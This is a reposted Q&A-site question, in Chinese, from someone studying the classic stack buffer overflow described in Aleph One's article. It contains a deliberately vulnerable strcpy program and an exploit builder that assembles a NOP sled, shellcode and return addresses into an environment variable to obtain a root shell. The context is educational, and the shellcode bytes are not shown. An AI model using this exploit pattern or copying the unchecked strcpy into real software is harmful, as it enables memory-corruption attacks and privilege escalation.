gpt4 book ai didi

c - C 缓冲区中的指令仅作为 sudo 执行

转载 作者:行者123 更新时间:2023-12-05 01:17:21 27 4
gpt4 key购买 nike

<分区>

我正在研究 Aleph One 的文章 Smashing the Stack for Fun and Profit 中描述的缓冲区溢出攻击.

如文章中所述,我编写了一个程序 (shellcode.c),将恶意代码 (shellcode) 植入环境变量 ($EGG)。之后 $EGG 作为参数传递给我希望攻击的程序 (vulnerable.c),导致该程序中的缓冲区溢出并导致 shellcode 执行。

这就是缓冲区的样子 -

[NNNNNNNNN...NNNNNNSSSSSSS...SSSSSSSRRRRR...RRRRRR]

其中 N 是 NOP 指令(参见 NOP sled),S 是我的 shellcode,R 是地址(将地址返回缓冲区,这将导致指令指针从代码段跳转到上面的堆栈缓冲区并开始执行说明)。

当我以普通用户运行 shellcode.c 和 vulnerable.c 的可执行文件时,我面临以下问题 - 当指令指针被重定向到缓冲区并遇到一条指令时,一个分段故障结果。 然而,在以 sudo 执行程序时,缓冲区中的指令执行没有任何问题,缓冲区中的后续 shellcode 成功执行,调出根终端,从而完成利用。 谁能阐明为什么会发生这种情况?

我已禁用以下保护 - Stack Smashing ProtectionASLRLinux 的 NX(eXecute Disable Bit)。

我正在使用 gcc 4.4.3(目标:i486-linux-gnu)进行编译,并在运行内核 2.6.32 的 Ubuntu 10.04 (Lucid Lynx) 上执行。

下面是我的两个程序:

vulnerable.c

int main(int argc, char** argv) {
char buffer[512];

if(argc>1)
strcpy(buffer,argv[1]);

return (EXIT_SUCCESS);
}

shellcode.c

int main(int argc,char** argv) {

char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;

/* Set buffersize and predicted offset if arguments are supplied to the program
*/
if(argc>1)
buffersize = atoi(argv[1]);
if(argc>2)
offset = atoi(argv[2]);


if(!(buff=(char*)malloc(buffersize))) {
printf("Can't allocate memory!");
exit(1);
}

retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);

addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
*(addr++) = retaddr;

for(i=0;i<buffersize/2;i++)
buff[i] = NOP;

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];

buff[buffersize -1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");

return (EXIT_SUCCESS);
}

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com